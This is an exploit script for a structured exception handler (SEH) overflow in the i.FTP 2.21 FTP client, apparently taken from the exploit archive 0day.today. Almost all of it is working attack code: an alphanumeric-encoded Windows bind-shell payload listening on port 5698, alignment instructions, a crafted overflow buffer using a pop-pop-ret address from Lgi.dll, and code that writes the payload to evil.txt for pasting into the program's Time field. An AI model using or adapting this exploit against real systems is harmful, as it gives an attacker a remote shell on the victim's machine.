i.FTP 2.21 - Time Field SEH Exploit

#!/usr/bin/python
# Exploit Title     : i.FTP 2.21 Time Field SEH Exploit
# Exploit Author    : Revin Hadi S
# Vulnerability PoC : Avinash Kumar Thapa "-Acid"
# Date          : 05/08/2015
# Vendor        : http://www.memecode.com/iftp.php
# Software Link     : http://www.memecode.com/data/iftp-win32-v2.21.exe
# Version       : 2.21
# Tested On     : Win 7 SP1 Eng & Win XP SP2
# Triggering Exploit    : Go to Schedule > Schedule download > {+} >Time field
 
# msfpayload windows/shell_bind_tcp LPORT=5698 R | msfencode -a x86 -e x86/alpha_upper BufferRegister=EAX -t c
shellcode = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
"\x4c\x4a\x48\x4c\x49\x33\x30\x53\x30\x53\x30\x35\x30\x4b\x39"
"\x4a\x45\x30\x31\x4e\x32\x55\x34\x4c\x4b\x31\x42\x46\x50\x4c"
"\x4b\x51\x42\x54\x4c\x4c\x4b\x46\x32\x35\x44\x4c\x4b\x54\x32"
"\x57\x58\x54\x4f\x38\x37\x31\x5a\x31\x36\x50\x31\x4b\x4f\x36"
"\x51\x59\x50\x4e\x4c\x47\x4c\x53\x51\x53\x4c\x44\x42\x56\x4c"
"\x47\x50\x49\x51\x48\x4f\x54\x4d\x43\x31\x39\x57\x4d\x32\x4a"
"\x50\x51\x42\x50\x57\x4c\x4b\x46\x32\x34\x50\x4c\x4b\x51\x52"
"\x37\x4c\x53\x31\x4e\x30\x4c\x4b\x51\x50\x54\x38\x4d\x55\x39"
"\x50\x32\x54\x50\x4a\x45\x51\x58\x50\x56\x30\x4c\x4b\x50\x48"
"\x44\x58\x4c\x4b\x36\x38\x47\x50\x33\x31\x48\x53\x5a\x43\x47"
"\x4c\x30\x49\x4c\x4b\x36\x54\x4c\x4b\x33\x31\x38\x56\x46\x51"
"\x4b\x4f\x50\x31\x49\x50\x4e\x4c\x4f\x31\x38\x4f\x44\x4d\x55"
"\x51\x48\x47\x46\x58\x4d\x30\x33\x45\x4b\x44\x44\x43\x53\x4d"
"\x4a\x58\x47\x4b\x43\x4d\x47\x54\x54\x35\x5a\x42\x30\x58\x4c"
"\x4b\x31\x48\x51\x34\x53\x31\x49\x43\x52\x46\x4c\x4b\x44\x4c"
"\x30\x4b\x4c\x4b\x36\x38\x45\x4c\x55\x51\x4e\x33\x4c\x4b\x55"
"\x54\x4c\x4b\x43\x31\x38\x50\x4b\x39\x57\x34\x37\x54\x37\x54"
"\x31\x4b\x51\x4b\x53\x51\x51\x49\x51\x4a\x46\x31\x4b\x4f\x4d"
"\x30\x31\x48\x51\x4f\x31\x4a\x4c\x4b\x55\x42\x5a\x4b\x4c\x46"
"\x31\x4d\x33\x58\x46\x53\x47\x42\x43\x30\x43\x30\x43\x58\x52"
"\x57\x42\x53\x36\x52\x31\x4f\x50\x54\x43\x58\x30\x4c\x52\x57"
"\x51\x36\x43\x37\x4b\x4f\x4e\x35\x38\x38\x4c\x50\x55\x51\x33"
"\x30\x35\x50\x46\x49\x4f\x34\x36\x34\x36\x30\x52\x48\x57\x59"
"\x4d\x50\x52\x4b\x53\x30\x4b\x4f\x58\x55\x46\x30\x50\x50\x36"
"\x30\x30\x50\x31\x50\x46\x30\x31\x50\x50\x50\x35\x38\x4b\x5a"
"\x44\x4f\x39\x4f\x4d\x30\x4b\x4f\x39\x45\x4c\x49\x48\x47\x50"
"\x31\x49\x4b\x46\x33\x52\x48\x43\x32\x55\x50\x32\x36\x50\x42"
"\x4c\x49\x4b\x56\x52\x4a\x52\x30\x36\x36\x31\x47\x43\x58\x39"
"\x52\x59\x4b\x57\x47\x32\x47\x4b\x4f\x39\x45\x50\x53\x46\x37"
"\x32\x48\x38\x37\x4b\x59\x56\x58\x4b\x4f\x4b\x4f\x39\x45\x31"
"\x43\x51\x43\x30\x57\x35\x38\x33\x44\x5a\x4c\x57\x4b\x4b\x51"
"\x4b\x4f\x49\x45\x51\x47\x4c\x49\x4f\x37\x33\x58\x33\x45\x42"
"\x4e\x50\x4d\x33\x51\x4b\x4f\x59\x45\x32\x48\x32\x43\x42\x4d"
"\x52\x44\x43\x30\x4c\x49\x5a\x43\x46\x37\x51\x47\x31\x47\x30"
"\x31\x4a\x56\x52\x4a\x34\x52\x50\x59\x31\x46\x4a\x42\x4b\x4d"
"\x53\x56\x39\x57\x57\x34\x31\x34\x47\x4c\x53\x31\x55\x51\x4c"
"\x4d\x31\x54\x46\x44\x52\x30\x38\x46\x55\x50\x51\x54\x46\x34"
"\x30\x50\x30\x56\x36\x36\x46\x36\x50\x46\x31\x46\x50\x4e\x56"
"\x36\x46\x36\x50\x53\x30\x56\x55\x38\x53\x49\x58\x4c\x37\x4f"
"\x4c\x46\x4b\x4f\x59\x45\x4d\x59\x4b\x50\x50\x4e\x46\x36\x50"
"\x46\x4b\x4f\x50\x30\x53\x58\x43\x38\x4d\x57\x45\x4d\x35\x30"
"\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x58\x35\x39\x32\x56\x36\x33"
"\x58\x39\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x37\x4c"
"\x35\x56\x53\x4c\x54\x4a\x4d\x50\x4b\x4b\x4d\x30\x33\x45\x44"
"\x45\x4f\x4b\x47\x37\x42\x33\x32\x52\x52\x4f\x52\x4a\x35\x50"
"\x31\x43\x4b\x4f\x39\x45\x41\x41")
 
# Align Shellcode to EAX register
align = "\x58"*3        # POP EAX; POP EAX; POP EAX
align += "\x2d\x77\x77\x77\x77" # SUB EAX, 0x77777777
align += "\x2d\x77\x33\x33\x33" # SUB EAX, 0x33333377
align += "\x2d\x77\x22\x22\x22" # SUB EAX, 0x22222277
align += "\x2d\x3b\x32\x33\x33" # SUB EAX, 0x3333323b
 
buffer = "A"*300
buffer += "\x40\x75\x21\x40"   
buffer += "\x67\x59\x02\x10"    # /p/p/r Lgi.dll
buffer += "DOGE"*7     
buffer += align     
buffer += "\x43"*37    
buffer += shellcode
 
f = open("evil.txt", "wb")
f.write(buffer)
f.close()

#  0day.today [2018-01-24]  #